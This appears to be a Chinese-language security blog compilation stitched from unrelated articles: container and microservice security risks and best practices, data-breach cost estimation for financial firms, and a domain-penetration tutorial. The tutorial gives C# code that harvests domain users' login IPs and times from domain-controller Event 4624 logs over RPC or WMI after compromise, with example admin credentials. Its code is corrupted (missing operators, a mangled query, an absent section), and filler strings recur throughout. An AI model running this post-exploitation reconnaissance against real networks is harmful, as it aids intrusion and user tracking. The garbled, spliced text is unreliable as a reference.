在服務發現方面,容器化使微服務之間的定位和通信變得更加簡單,因為它們都運行在位於同一平台上的容器中。出於同樣的原因,開發人員編排微服務也更容易。

image.png

容器微服務方案

儘管有這些優勢,但容器和微服務都有其細微差別和挑戰,包括網絡安全問題。讓我們討論一些最重要的安全問題。

基於容器和微服務的應用程序的安全挑戰與任何其他方法一樣,容器和微服務都可能給應用程序開髮帶來某些安全挑戰。為了確保產品的良好網絡安全,了解最常見的安全風險併計劃如何預防和減輕它們至關重要。

image.png

具有微服務架構的容器化應用程序的安全挑戰

1、可被利用的漏洞一般來說,與微服務和容器相關的安全問題的討論已經轉移到編排平台的安全要求上。但是,並非所有安全風險都可以在編排級別處理。例如,必須密切關注可能被利用的漏洞。

1. 鏡像漏洞是基於微服務和容器的應用程序中最常見的安全威脅。它們通常來自不安全的庫或其他依賴項。易受攻擊的圖像本身不會構成主動威脅。但是,當容器基於易受攻擊的鏡像時,會將漏洞引入整個環境。

2. 應用程序漏洞可能來自應用程序源代碼中的缺陷。例如,如果您的某個應用程序存在緩衝區溢出漏洞,攻擊者可能會利用它執行惡意代碼並接管您的容器。

3. 網絡攻擊的脆弱性。基於微服務的應用程序比單體應用程序更複雜,因為它們由許多移動部件組成。一個應用程序可以包含數百個部署在數千個容器中的微服務。對於開發人員來說,這意味著具有1,000 個動態鏈接庫(DLL) 的單體代碼應該被分解為相同數量的微服務。它使基於微服務的應用程序很容易受到網絡攻擊,因為很難確保這麼多組件的適當安全性。

2、惡意軟件風險惡意軟件攻擊的可能場景包括:

马云惹不起马云 黑客可以訪問容器並向其中註入惡意代碼,這些代碼還可以攻擊該容器、其他容器或主機操作系統中的微服務。

马云惹不起马云惡意行為者會破壞您的CI/CD 環境並將惡意軟件注入用於構建容器映像的源代碼存儲庫中。

马云惹不起马云攻擊者破壞容器註冊表並用包含惡意軟件的圖像替換圖像。

马云惹不起马云黑客誘使開發人員從外部來源下載惡意容器映像。

惡意軟件的問題在於,如果您在啟動容器之前沒有檢測到它,惡意軟件將感染您在該容器內的微服務以及整個環境。例如,它可以收集敏感數據、阻止進程或中斷其他容器的工作。

3、代碼訪問風險可以訪問和更改代碼的人越多,出現的安全風險就越大。最常見的兩種是:

1.訪問權限太寬泛。許多開發公司選擇使用微服務和容器構建應用程序的DevOps 方法,因為它打破了團隊之間的障礙並確保了持續集成和持續部署(CI/CD)。但是,DevOps 可能會導致訪問權限過於寬泛,從而增加有人在分佈式工作環境中更改代碼的風險。

2.保密管理薄弱。如果安全實踐不佳或違反安全規則,更多人可以訪問容器。例如,開發人員可能會將腳本中的硬編碼憑證放入容器中,或者他們可能將機密存儲在配置不安全的密鑰管理系統中。

4、容器間無限制通信通常,容器不能訪問它們直接控制的環境之外的任何資源——這稱為非特權模式。工程師應該只允許容器之間正確的應用程序工作所必需的通信能力。例如,應用程序容器可能會連接到數據庫容器。

每當容器擁有比嚴格要求更多的權限時,它可能會導致額外的安全風險。由於缺乏經驗或編排器管理不善導致的錯誤配置,容器可能會獲得過多的權限。

5、安全地管理數據微服務架構的分佈式框架使得保護數據變得更具挑戰性,因為難以控制對單個服務的訪問和安全授權。因此,工程師必須更加關注他們的應用程序如何確保每個服務中的數據機密性、隱私性和完整性。

另一個問題是,微服務中的數據不斷移動、更改,並在不同的服務中用於不同的目的,這為惡意行為者創造了更多的數據入口點。

6、選擇和配置工具在開發和維護微服務架構時,DevOps 團隊使用了很多工具,包括開源和第三方。雖然此類工具可幫助工程師實現DevOps 管道所需的效率,但它們並不總是提供所需的安全性。

如果您不仔細評估計劃集成到環境中的開源工具的安全功能,您就有可能在微服務和容器中產生漏洞。即使一個工具看起來足夠安全,你在配置它的設置時仍然應該小心,並隨著時間的推移不斷評估工具的安全性。

選擇適當的安全措施來解決我們上面提到的風險可能具有挑戰性。原因是容器和微服務都對開發人員如此有吸引力,因為它們簡化和加速應用程序開發的方式。如果安全措施使開發方法變得更慢、更不直接,那麼它們很可能會被忽視或忽視。

為了幫助您在不犧牲網絡安全的情況下利用容器和微服務進行應用程序開發,我們收集了11 個有用的實踐。讓我們詳細探討如何保護微服務和容器。

本文介紹了基於容器和微服務的應用程序的安全挑戰,下一章節我們將講述保護微服務和容器的11 個最佳實踐。

0x00 前言在域滲透中,獲得了域控制器權限後,需要獲得域用戶的登錄信息,包括域用戶登錄的IP地址和登錄時間。通常使用的方法是查看域控制器的登錄日誌(Eventid=4624)。然而,人工從登錄日誌(Eventid=4624)中篩選出域用戶登錄的IP地址和登錄時間需要耗費大量時間,不僅無效數據多,而且需要多次判斷,所以我們需要編寫程序來實現這個功能。

在實際使用過程中,為了能夠適配多種環境,還需要支持本地和多種協議的遠程登錄。於是本文將要分享我的實現方法,開源兩個工具,記錄細節。

0x01 簡介本文將要介紹以下內容:

通過EventLogSession實現

通過WMI實現

開源代碼

0x02 通過EventLogSession實現通過查詢資料發現,通過EventLogSession不僅支持解析本地日誌內容,還支持通過RPC遠程解析日誌,下面介紹關於EventLogSession的開發細節

1.輸出Eventid=4624的日誌內容C Sharp實現代碼:

usingSystem;

usingSystem.Diagnostics.Eventing.Reader;

namespaceTest1

{

classProgram

{

staticvoidMain(string[]args)

{

varsession=newEventLogSession();

stringLogName='Security';

stringXPathQuery='*[System/EventID=4624]';

EventLogQueryeventLogQuery=newEventLogQuery(LogName,PathType.LogName,XPathQuery)

{

Session=session,

TolerateQueryErrors=true,

ReverseDirection=true

};

using(EventLogReadereventLogReader=newEventLogReader(eventLogQuery))

{

eventLogReader.Seek(System.IO.SeekOrigin.Begin,0);

do

{

EventRecordeventData=eventLogReader.ReadEvent();

if(eventData==null)

break;

Console.WriteLine(eventData.FormatDescription());

eventData.Dispose();

}while(true);

}

}

}

}以上代碼能夠查詢本地日誌並輸出日誌的完整內容

2.xml格式解析為了便於提取內容,可以選擇將輸出內容轉換為xml格式

關鍵代碼:

Console.WriteLine(eventData.ToXml());輸出內容示例:

image.png

從xml格式中,可直接提取出EventRecordID,關鍵代碼:

XmlDocumentxmldoc=newXmlDocument();

xmldoc.LoadXml(eventData.ToXml());

XmlNodeListrecordid=xmldoc.GetElementsByTagName('EventRecordID');

Console.WriteLine(recordid[0].InnerText);提取TargetUserName需要先取出Data的內容,再做一個篩選,關鍵代碼:

XmlNodeListdata=xmldoc.GetElementsByTagName('Data');

foreach(XmlNodevalueindata)

{

if(value.OuterXml.Contains('TargetUserName'))

{

Console.WriteLine(value.InnerText);

}

}這裡我們一共需要篩選出以下屬性:

TargetUserSid

TargetDomainName

TargetUserName

IpAddress

在做字符匹配時,由於格式固定,所以我們可以從固定偏移位置得到對應的屬性,避免多次判斷,提高查詢效率

關鍵代碼:

XmlNodeListdata=xmldoc.GetElementsByTagName('Data');

StringtargetUserSid=data[4].InnerText;

StringtargetDomainName=data[6].InnerText;

StringtargetUserName=data[5].InnerText;

StringipAddress=data[18].InnerText;3.篩選判斷條件為了篩選出有效登錄信息,這裡對targetUserSid和ipAddress的長度做了判斷,targetUserSid長度需要大於9,ipAddress長度需要大於8

關鍵代碼:

XmlNodeListdata=xmldoc.GetElementsByTagName('Data');

StringtargetUserSid=data[4].InnerText;

StringtargetDomainName=data[6].InnerText;

StringtargetUserName=data[5].InnerText;

StringipAddress=data[18].InnerText;

if(targetUserSid.Length9ipAddress.Length8)

{

Console.WriteLine(targetUserSid);

Console.WriteLine(targetDomainName);

Console.WriteLine(targetUserName);

Console.WriteLine(ipAddress);

}4.支持篩選指定時間內的日誌可以通過修改搜索條件實現,關鍵代碼:

stringXPathQuery='(Event/System/EventID=4624)andEvent/System/TimeCreated/@SystemTime='2022-01-26T02:30:39'andEvent/System/TimeCreated/@SystemTime='2022-01-26T02:30:39'andEvent/System/TimeCreated/@SystemTime=20210526ANDTimeGenerated=20210526ANDTimeGenerated=20220426';

ManagementScopes=newManagementScope('root\\CIMV2');

SelectQueryq=newSelectQuery(queryString);

ManagementObjectSearchermos=newManagementObjectSearcher(s,q);

intflagTotal=0;

intflagExist=0;

foreach(ManagementObjectoinmos.Get())

{

flagTotal++;

StringMessage=o.GetPropertyValue('Message').ToString();

intpos1=Message.LastIndexOf('SecurityID');

intpos2=Message.LastIndexOf('AccountName');

intpos3=Message.LastIndexOf('AccountDomain');

intpos4=Message.LastIndexOf('LogonID');

intpos5=Message.LastIndexOf('SourceNetworkAddress');

intpos6=Message.LastIndexOf('SourcePort');

intlength1=pos2-pos1-16;

intlength2=pos4-pos3-20;

intlength3=pos3-pos2-17;

intlength4=pos6-pos5-27;

if(length10||length20||length30||length40)

continue;

StringtargetUserSid=Message.Substring(pos1+14,length1);

StringtargetDomainName=Message.Substring(pos3+17,length2);

StringtargetUserName=Message.Substring(pos2+15,length3);

StringipAddress=Message.Substring(pos5+24,length4);

{

Console.WriteLine('[+]EventRecordID:'+o.GetPropertyValue('RecordNumber'));

Console.WriteLine('TimeCreated:'+o.GetPropertyValue('TimeGenerated'));

Console.WriteLine('UserSid:'+targetUserSid);

Console.WriteLine('DomainName:'+targetDomainName);

Console.WriteLine('UserName:'+targetUserName);

Console.WriteLine('IpAddress:'+ipAddress);

flagExist++;

}

}

Console.WriteLine('Total:'+flagTotal+',Exist:'+flagExist);

}

}

}5.支持遠程登錄關鍵代碼:

varopt=newConnectionOptions();

opt.Username='TEST\\Administrator';

opt.Password='Password@123';

ManagementScopes=newManagementScope('\\\\192.168.1.1\\root\\CIMV2',opt);將以上代碼整合,得出最終代碼,代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SharpGetUserLoginIPWMI.cs

代碼支持以下功能:

可使用csc.exe進行編譯,支持3.5和4.0

支持本地和遠程日誌解析,遠程日誌解析使用WMI方式

支持判斷條件,可篩選指定日期

自動提取信息:EventRecordID、TimeCreated、UserSid、DomainName、UserName和IpAddress

0x04 小結本文介紹了獲得域用戶登錄信息的實現細節,開源兩個工具SharpGetUserLoginIPRPC.cs和SharpGetUserLoginIPWMI.cs,在通信效率上,RPC要快於WMI。

11 種微服務和容器安全最佳實踐(上)

保護微服務和容器的11 個最佳實踐我們在下面提到的實踐可能有助於保護您當前使用容器和微服務開發應用程序的方式。但是,如果您才剛剛開始創建應用程序或即將將您的產品從單體架構遷移到基於微服務的架構,請確保准備好全面的安全策略。

NIST 建議概述兩種類型的策略:

image.png

我們的容器和微服務最佳實踐列表基於Apriorit 團隊的專業知識、領先的微服務從業者提供的安全建議以及以下文檔中反映的行業標準:

马云惹不起马云NIST 特別出版物800-180(草案)NIST 對微服務、應用程序容器和系統虛擬機的定義

马云惹不起马云NIST 特別出版物800-190應用容器安全指南

马云惹不起马云NIST 內部報告8176 Linux 應用程序容器部署的安全保證要求

马云惹不起马云NIST 特別出版物800-204基於微服務的應用系統的安全策略

马云惹不起马云工作和養老金安全標準- 微服務架構(SS-028) [PDF]

現在讓我們仔細看看如何在使用微服務和容器時開發安全的應用程序。

image.png

11個最佳實踐容器微服務安全

1. 創建不可變容器開發人員傾向於讓shell 訪問圖像,以便他們可以在生產中修復它們。但是,攻擊者經常利用這種訪問權限來注入惡意代碼。為避免這種情況,請創建不可變容器。

根據Google Cloud Architecture Center的說法,不能修改不可變容器。如果您需要更新應用程序代碼、應用補丁或更改配置,您可以重建映像並重新部署容器。如果需要回滾更改,只需重新部署舊鏡像即可。您可以在每個環境中部署相同的容器映像,使它們完全相同。

請注意,遠程管理是通過運行時API 或通過創建與運行微服務的主機的遠程shell 會話來完成的。容器的不可變特性也會影響數據持久性。開發人員應將數據存儲在容器之外,以便在替換某些容器時,所有數據仍可用於其新版本。

2.每台主機部署一個微服務根據microservices.io,部署微服務有六種模式:

马云惹不起马云每個主機多個服務實例

马云惹不起马云每個主機的服務實例

马云惹不起马云每個VM 的服務實例

马云惹不起马云每個容器的服務實例

马云惹不起马云無服務器部署

马云惹不起马云服務部署平台

兩個最有益的部署選項是每個容器的服務實例和每個主機的服務實例,因為它們允許您:

马云惹不起马云將服務實例彼此隔離

马云惹不起马云消除資源需求或依賴版本衝突的可能性

马云惹不起马云允許服務實例最多消耗單個主機的資源

马云惹不起马云輕鬆監控、管理和重新部署每個服務實例

雖然在同一主機上部署多個微服務可以比每個主機模式的服務實例更有效地利用資源,但它也有很多缺點:

马云惹不起马云資源需求衝突和依賴版本衝突的風險

马云惹不起马云限制服務實例消耗的資源的困難

马云惹不起马云如果多個服務實例部署在同一進程中,則難以監控每個服務實例的資源消耗

3. 將自動化安全測試集成到您的構建或CI/CD 流程中有多種工具可以在構建或CI/CD 過程中自動測試容器。例如,HP Fortify 和IBM AppScan 提供動態和靜態應用程序安全測試。

您還可以使用JFrog Xray和Black Duck等掃描儀實時檢查容器中的已知漏洞。一旦這些工具發現漏洞,它們就會標記帶有檢測到問題的構建,讓您可以檢查和修復它們。

4.避免使用特權容器如果容器以特權模式運行,則它可以訪問主機上的所有組件。因此,這樣的容器充當主機操作系統的一部分,並影響在其上運行的所有其他容器。如果這樣的容器受到威脅,攻擊者將擁有對服務器的完全訪問權限。

因此,請考慮避免使用特權容器。例如,在Kubernetes 中,您可以使用Policy Controller 禁止特權容器。

如果出於某種原因您需要使用特權容器,Google Cloud Architecture Center提供了一些替代方案:

马云惹不起马云通過Kubernetes 的securityContext 選項或Docker中的--cap-addflag 選項為容器提供特定的能力

马云惹不起马云在sidecar 容器或init 容器中修改應用程序設置

马云惹不起马云使用專用註解修改Kubernetes 中的sysctls 接口

5. 僅從受信任的來源運行圖像對於具有現成容器的開發人員,有許多開源包。但是,出於安全目的,您需要知道容器的來源、更新時間以及它們是否沒有任何已知漏洞和惡意代碼。最好建立一個受信任的映像存儲庫並僅從該受信任的來源運行映像。

此外,開發人員應在將容器投入生產之前檢查其腳本中的應用程序簽名。如果您在多個雲環境中運行容器,那麼擁有多個映像存儲庫是可以接受的。如果您想使用其他來源的圖像,建議使用掃描工具掃描圖像。

6. 使用註冊表安全地管理圖像Docker Hub、Amazon EC2 Container Registry 和Quay Container Registry 等註冊表可幫助開發人員存儲和管理他們創建的映像。您可以使用這些註冊表:

马云惹不起马云提供基於角色的訪問控制

马云惹不起马云指定容器的可信來源

马云惹不起马云創建和更新已知漏洞列表

马云惹不起马云標記易受攻擊的圖像

請注意,基於角色的訪問控制也很重要,因為您需要控制誰可以對您的容器進行更改。最好限制對特定管理帳戶的訪問:一個負責系統管理,一個負責操作和編排容器。

要記住的另一件事是確保您的註冊表驗證每個容器的簽名並僅接受來自可信來源的那些。此外,利用可幫助您不斷檢查圖像內容是否存在已知漏洞並通知安全問題的功能。例如,一旦您將鏡像推送到Docker Hub 並啟用漏洞掃描, Docker Hub 漏洞掃描會自動掃描鏡像以識別容器鏡像中的漏洞。

7.強化主機操作系統雖然大多數建議都涉及微服務和容器的安全性,但也有必要確保主機操作系統的安全性。

首先,NIST 建議使用特定於容器的主機操作系統(明確設計為僅運行容器的極簡主機操作系統),因為它們沒有不必要的功能,因此攻擊面比通用主機小得多。最好使用允許通過路由器或防火牆控制出口流量的平台。

其次,CIS Docker Benchmark提供了強化系統的檢查表。這些建議因操作系統、服務器軟件、雲提供商、移動設備、網絡設備和桌面軟件而異。

主要建議是:

马云惹不起马云建立用戶認證

马云惹不起马云設置訪問角色

马云惹不起马云指定二進製文件訪問權限

马云惹不起马云收集詳細的審計日誌

為了避免數據洩露,限制容器對底層操作系統資源的訪問,並將容器相互隔離。一個好的做法是在內核模式下運行容器引擎,同時在用戶模式下運行容器。

例如,Linux 提供了Linux 命名空間、seccomp、cgroups 和SELinux 等技術,用於安全地構建和運行容器。

8. 使用縱深防禦方法保護微服務縱深防禦是一種信息安全方法,它依賴於安全機制和控制(如防病毒軟件、防火牆和補丁管理)的組合。其目標是在整個IT 系統中提供多層安全性,以保護網絡和數據的機密性、完整性和可用性。

縱深防禦方法的三個關鍵層是:

马云惹不起马云物理控制——物理限制訪問IT 系統的任何東西,例如警衛和閉路電視系統

马云惹不起马云技術控制——旨在保護系統和資源的硬件和軟件(下文討論)

马云惹不起马云管理控制——各種政策和程序,以確保組織關鍵基礎設施的適當網絡安全

深度防禦方法是微服務安全最重要的原則之一,因為它創建了多層安全性來防止攻擊。它包括以下安全措施:

马云惹不起马云過濾通信流

马云惹不起马云對微服務進行身份驗證和授權訪問

马云惹不起马云使用加密技術

確保保護您的內部環境免受任何外部連接的影響,因為它是第一層防禦。例如,檢查您沒有使用公共存儲庫中的圖像,因為它們可能會給您的應用程序帶來安全風險。通過已知的專用網絡管理主機,這樣就不會有公共攻擊面。

9. 使用API 訪問控制安全訪問微服務API 是微服務應用程序的關鍵。基於該技術的軟件有多個獨立的API 服務,需要額外的工具。

因此,確保安全認證和授權的API 訪問控制對於微服務安全至關重要。訪問可以處理敏感數據的API 應該需要經過數字簽名或權威來源驗證的身份驗證令牌。

開發人員和管理員通常使用OAuth/OAuth2 服務器來獲取令牌以通過API 訪問應用程序。出於安全原因,您還應該應用傳輸層安全(TLS) 加密來保護所有客戶端-服務器通信。

10.使用容器原生監控工具監控容器是必不可少的,因為它可以幫助您:

马云惹不起马云深入了解容器指標和日誌

马云惹不起马云了解集群和主機級別以及容器內發生的情況

马云惹不起马云做出更明智的決策,例如何時擴展或擴展實例、更改實例類型和購買選項等。

但是,要建立有效的監控,最好使用容器原生監控工具。例如,在使用Docker時,開發人員通常使用Docker Security Scanner 或其他專門設計的工具來檢測對應用程序的任何潛在威脅。

監控工具首先收集事件,然後根據安全策略檢查它們。確定性策略可以定義可以運行哪些服務以及允許哪些容器發出外部HTTP 請求。動態策略可以創建正常通信活動的基線,並通知流量峰值或異常流量。

11. 使用編排管理器編排是一個複雜的過程,可以自動化微服務和容器的部署、管理、擴展和網絡。通常,它可以通過兩種方式實現:

马云惹不起马云通過使用API 網關作為編排層

马云惹不起马云通過將編排編碼為單獨的微服務

編排器從註冊表中提取圖像,將這些圖像部署到容器中,並管理它們的運行。編排器提供的抽象允許您指定運行給定映像需要多少個容器以及需要為它們分配哪些主機資源。

通過使用編排管理器,您不僅可以自動化微服務的部署,還可以確保一定程度的安全性。例如,編排器允許您管理容器集群、隔離工作負載、限制對元數據的訪問以及收集日誌。

許多編排管理器還具有內置的機密管理工具,允許開發人員安全地存儲和共享機密數據,例如API 和SSL 證書、加密密鑰、身份令牌和密碼。有許多編排管理器,例如Kubernetes、Swarm 和Mesos,以及作為Azure、谷歌云計算和AWS 的一部分提供的雲原生管理系統。

結論基於微服務的軟件的綜合安全計劃應涵蓋整個應用程序生命週期。使用所描述的最佳實踐,您可以確保容器和微服務的安全開發和部署。

場景選擇在上一篇文章中已經闡述了數據洩露成本估算的場景類型,接下來就是通過將理論化的風險事件與實際的業務流程易受運營損失類別(使用BIS發布的指南)進行比較,以便可信地描述業務後果,從而更接近現實的現實世界網絡威脅場景。也就是說,我們需要使用實際系統如何工作的知識來創建風險事件發生的場景的詳細信息。由於系統由人員、流程和技術組成,因此這些知識包括但不限於對手行為模式、軟件漏洞模式、當前技術控制維護困難以及業務用戶的操作或行為。

例如,上一篇文章圖3中的“信息盜竊”場景可以實例化為一種典型的惡意軟件攻擊,通過電子郵件網絡釣魚或水坑攻擊技術,以最終用戶為目標,這些攻擊會吸引具有互聯網訪問權限的金融專業人士點擊使用其訪問(系統對手行為模式)安裝惡意軟件的鏈接,並蒐索允許該軟件從最終用戶升級到管理特權訪問的常見漏洞(軟件漏洞模式)。為特定組織定制的場景將準確確定預計哪個平台具有此漏洞。它將識別惡意軟件對平台所做的更改(基於已知的技術維護問題),並從那裡確定桌面軟件進程和數據影響的負面影響。例如,軟件性能可能會降低,並且數據可能會變得不可訪問。然後,業務部門將被要求呼叫技術支持(業務用戶行為)。此方案描述為由業務、技術和風險專業人員組成的團隊提供了足夠的信息,以找出影響的詳細信息。

請注意,這只是一個潛在的風險事件,可用於在更深入的場景創建的系統方法中梳理出細節。簡單地說,一個場景可以由四個元素定義:

行為人:具有動力,技能和資源的理論對手

戰術:旨在實現對手目標的技術工作流程

目標:行為人必須利用的特定技術組件來製定策略

漏洞:暴露於行為人、技術或業務流程中,從而實現戰術

在前面的創建中,關鍵要素是:

行為人:黑客

策略:網絡釣魚部署的惡意軟件

目標:企業台式機

漏洞:操作系統安全

為了系統地分析所有系統的風險,這些元素可用於劃分和征服組織在風險分析過程中可能開發的每個風險類別中的示例事件的整體風險分析。當然,結合可以劃分和征服此類分析的觀察,重要的是要注意每個元素的潛在值可能會隨時間而變化,並且應始終反映當前的威脅情報。

例如,一組不同的行為人、策略、目標和漏洞可以提供替代場景選擇。另一個潛在的場景可能來自對使用內部最終用戶的訪問對公司基礎架構的中斷的描述,導致用戶生產力損失、業務通信中斷和桌面中斷,如下所示:

行為人:民族國家

目標:網絡路由器

漏洞:供暖、通風和空調(HVAC)供應商接入網絡允許將網絡路由命令引入企業基礎架構

策略:滲透HVAC供應商,使用維護連接引入默認路由,將所有網絡流量傳播並定向到民族國家擁有的域

基於這組替代元素的場景創建表明,資金充足的專業犯罪組織以HVAC設備為目標,利用HVAC供應商防火牆中的漏洞,並利用有關內部企業網絡漏洞的情報(可能來自內部人員)。實際設想的活動可能更值得商榷,但所有利益攸關者都必須認為是合理的,或者,如前所述,缺乏共識可能使利益攸關者難以認真對待影響估計。請注意,對於對強控制措施有相當自豪感的組織來說,為了通過方案促進成本分析,尤其難以暫停對這些控制措施的信念。只要在每個可能的風險類別中至少有一個完整分析的場景,就可以消除發生概率較低的單個場景。

另請注意,儘管由於控制力強,場景可能被視為低概率,但情況恰恰相反。在前面的示例中,組織內動態路由體系結構的普遍存在將增加資金充足的對手通過該方案帶來的單一供應商漏洞利用內部網絡中已知漏洞的可能性。通過這種方式,從情景分析中計算的成本可以提出額外的網絡路由控制以避免損失的情況。

下圖提供了基於在前面的列表中介紹的四個元素的場景開發的替代注意事項。與其考慮最終用戶對企業基礎設施的威脅,不如考慮內部用戶對核心銀行系統的威脅。當機構決定計算潛在數據洩露事件的成本時,建議在場景選擇之前準備此類潛在替代場景。大量的例子有助於說服懷疑者,至少有一種情況是可能的,討論哪些更有可能,可以從團隊了解的關於目標環境的一些有形的基本事實開始。另請注意,四種替代技術方案中只有一種針對核心銀行系統本身。對金融資產而不是技術資產的關注往往會導致對對手技術攻擊的潛在途徑進行更具創造性的猜測。

68c41b3c-4793-4be6-af4a-f60f0c8cf28a.png

替代網絡安全場景元素

成本估算關於網絡安全漏洞成本的大部分文獻都集中在“信息盜竊”場景上。金融公司通常為數據洩露的客戶支付信用報告凍結和身份盜竊保險。他們還會產生通知客戶數據洩露事件發生的法律費用,並且這些補救措施是可用的。對於金融機構來說,重要的是要確切地了解這些機制在每個客戶的基礎上的成本。這些每個客戶的成本由多個組織定期調查;最廣為人知的是波耐蒙研究所。該機構的研究依賴於對數據洩露公司管理層的訪談,並試圖不僅量化通知和法律成本,還量化更難以估計的變量,如客戶流失以及特定響應活動在降低數據洩露成本方面的功效。然後,他們將數據洩露的總成本除以丟失的記錄數量,並跨行業,國家和年份比較這些數字。在2017年的Ponemon研究中,每個客戶記錄的綜合平均值為141美元,美國最高(225美元),印度最低(64美元)。該研究沒有聲稱是有效的統計研究,因此任何個別公司的經驗都可能有所不同。但是,這些數據確實提供了一定程度的指導。

在沒有實際的、具體的事件需要分析的情況下,管理層必鬚根據相關經驗和理性分析來估計數據洩露的成本。大多數網絡安全場景都是按滑動標尺量化的,將事件的預期持續時間估計為在最佳和最壞情況下識別和恢復通常需要的時間。當前技術過程可用於根據對技術支持的第一次呼叫以及技術支持升級到的技術操作員、管理員和工程師的預期活動來確定應遵循的事件順序。獨立風險或治理專家的角色通常是遍歷事件的過程和歷史數據,以確定在高效和有效事件響應和解決的最佳或最壞情況下的預期情景持續時間。在此類研究中檢查的信息通常包括但不限於以下內容:

受數據洩露影響的整套設備的系統清單

管理任務歷史記錄或業務恢復測試結果,顯示管理員通常在從網絡安全攻擊中恢復所需的系統還原任務上花費的時間

在升級路徑中重新分配技術資源所需的時間,這些資源通常被分配到其他工作,包括顧問和員工,如開發人員、工程師和架構師

以時間和材料為基礎工作的供應商所需的時間

安裝維護系統可用性所需的新設備或軟件所需的時間

如果程序不包括對所審查事件類型的反應,則必須分配時間,以在初始反應步驟以及最終調查期間捕捉不確定性或混亂的影響。如果沒有歷史上的內部先例,那麼可以使用年度Verizon數據洩露和調查報告等出版物盡可能地研究行業數據。

即使在所有響應程序似乎都已到位的情況下,人員或供應商可用性等變量也可能存在不確定性,或者供應商創建漏洞路徑所需的時間。因此,影響量化可以計算半天,全天或3天。理想情況下,過程演練應生成一個活動列表,這些活動可能在整個時間段內發生,如下所示:

支持/幫助中心可能很快就會不堪重負,因為它在數據洩露事件期間投入了關鍵資源來處理其他任何事情。

網絡安全團隊將全部時間花在取證分析上。

技術運營團隊主持事件響應電話會議,他們上報的工程師和高管花時間規劃工作協調(每隔幾個小時聯繫一次基地)。

應用程序支持團隊對桌面應用程序執行緊急測試。

桌面管理員執行緊急修補程序安裝。

顧問或供應商補充勞動力的成本

恢復系統可用性所需的新設備或軟件的成本

這表示技術費用的最小描述,僅用於說明目的。所有這些活動都是數據洩露事件的後果,都可以量化為事件成本的一部分。也就是說,如果決定將此勞動力的成本計為數據洩露成本估算中的度量單位,則將其量化為數據洩露成本的一部分。假設如此,一個組織的成本估算如下圖所示:

12effe44-bbb4-405d-b812-724964a05103.png

初始數據洩露成本估算:技術活動

上圖首先計算成本,假設最小的組織具有24-7全天候服務級別的要求。由於假期和其他時間的原因,科技公司採用三班倒的方式全面覆蓋一份工作,通常需要確保有六到八名員工能夠履行各自的職能。其中,該數據假定有兩個人將在事件發生期間完全致力於網絡安全漏洞。我們假設員工崗位的每小時成本為50美元,高技能技術人員為75美元,工程師為125美元,管理人員為200美元。這個假設的分析也假設了小型企業活動中典型的管理和顧問的參與。組織規模也會影響相關費率和其他假設。

在事件發生期間,業務本身也可能受到影響。在公司維護工作中將技術設備與業務應用程序連接起來的配置管理數據庫的地方,可以使用這樣的清單列出業務應用程序的用戶,這反過來可能有助於識別潛在的業務流程影響。在非常大的公司中,有時會調查用戶以確定影響。然而,也有可能是業務維護業務應用程序吞吐量的度量和指標,並且這與被入侵的估計長度結合起來,可以用於在業務方面估計網絡安全被入侵的成本。注意,許多企業在整個業務流程中每天都有更改,因此對一天中的時間進行假設通常也很重要。

在我們的例子中,我們將假設股票銷售經紀人沒有桌面辦公軟件,因此不能執行他們的工作功能。其結果是生產力的損失,以及潛在的業務損失。以業務損失為例,讓我們假設中斷將導致無法處理客戶權益買賣指令,這可以用交易來量化,交易作為影響的單位可以用來估計由於數據洩露造成的佣金收入損失。

其中一項或兩項生產率損失都可以作為數據洩露成本估算的衡量單位,即花費在閒置勞動力上的美元和佣金損失的收入損失。就像在技術方面一樣,特定場景的業務影響將以一定的比例進行量化。使用事件的預期持續時間和客戶使用平台的歷史數據,可以計算受影響的客戶交易數量。未完成交易的業務影響以收入損失和因未執行已接受的訂單而產生的潛在責任來量化。如果衡量單位包括機會成本,這兩個數字都包括在數據洩露成本中。如果度量單位只是貨幣,那麼只計算貨幣。

上圖以24小時內的業務量為例進行說明。在清晨,每小時的交易量只有大約200個交易。平均峰值在上午8點到中午之間,然後再次下降,在一天結束時達到每小時的最低量。雖然持續時間的滑動比例選擇為6小時、24小時和60小時,但從上午8點到晚上8點的12小時時段的費用在圖中顯示,60小時的活動是兩個24小時時段加一個12小時時段的倍數。我們的分析假設每筆交易佣金為10美元,機會成本是每個交易量分配窗口中可能損失的交易的直接倍數。

在下圖中,交易數量也被認為是計算因未執行已接受的訂單而產生的潛在負債的基礎。假定在晚上8點至上午8點之間收到的訂單不會立即處理,而是按合同約定在第二天開市時處理。在下圖的事務度量中,結果是大約300個隔夜事務是潛在的負債,因為它們不會在早上處理,而只有在從事件中恢復之後才會處理。在這300筆交易中,市場可能對公司有利,而交易被延遲處理的客戶將從經濟上受益,但在其他情況下,可能已經發生了損失。

6611f886-652e-4be7-81d6-99dd2172ff25.png

數據洩露成本估算:業務交易成本

上圖假設所有的隔夜交易都將各自免除費用,這代表了一個機會成本。根據客戶的影響,企業也可以決定讓客戶成為整體。儘管有費用減免和善意的姿態,但這仍是可能的;客戶可以起訴違反協議。在商譽的情況下,損失可能被沖銷為“客戶商譽”,這是一個財務費用類別,不太可能出現在數據洩露損失計算單位的衡量。在訴訟案件中,任何產生的成本都將作為法律解決方案出現,而這當然應該包括在數據洩露成本中。

上圖假設對於25%的隔夜交易,公司平均每筆交易花費100美元的商譽費,對於在6小時事件中延遲的5%的交易,公司平均每筆交易花費1000美元的責任費。由於交易延遲的時間越長,客戶要求報銷的可能性就越大,因此每個持續時間類別的金額都會有所不同。假設24小時和60小時商譽和負債成本分別為100美元和1000美元估計數的兩倍和三倍。

隨著場景分析團隊列舉產生成本的活動和事件,很明顯,除了業務損失之外,還產生了機會成本,工作未完成的機會成本。例如:

1、管理任務歷史記錄將顯示管理員通常在網絡安全響應活動期間未執行的日常任務上花費多長時間。

2、應用程序支持方面的項目工作將被延遲,從而減少了由於應用程序支持團隊不可用而導致的上市時間。

3、用戶交付的桌面輸出將被延遲,例如管理、客戶和監管演示材料。

這些通常不作為數據洩露度量單位,但如果它們被包括在內,它們將進一步增加數據洩露成本的金額。數據洩露的總成本將在前文的兩個圖中所計算的金額中加上這些金額。如果假設錯過了一個重要的市場機會,或者可能因工作延誤而引發監管罰款,那麼對收入損失的量化估值當然也與管理層有關。在我們的示例中,我們假設這種產品交付挫折和罰款分別為6小時、24小時和60小時的事件花費5萬美元、10萬美元和20萬美元。這一最終假設將導致如下圖所示的網絡安全漏洞估計的全部成本。前文已說過大型組織用10的倍數表示。

b5ec9285-f90c-4739-91a3-e58f1ad966af.png

數據洩露總成本估算

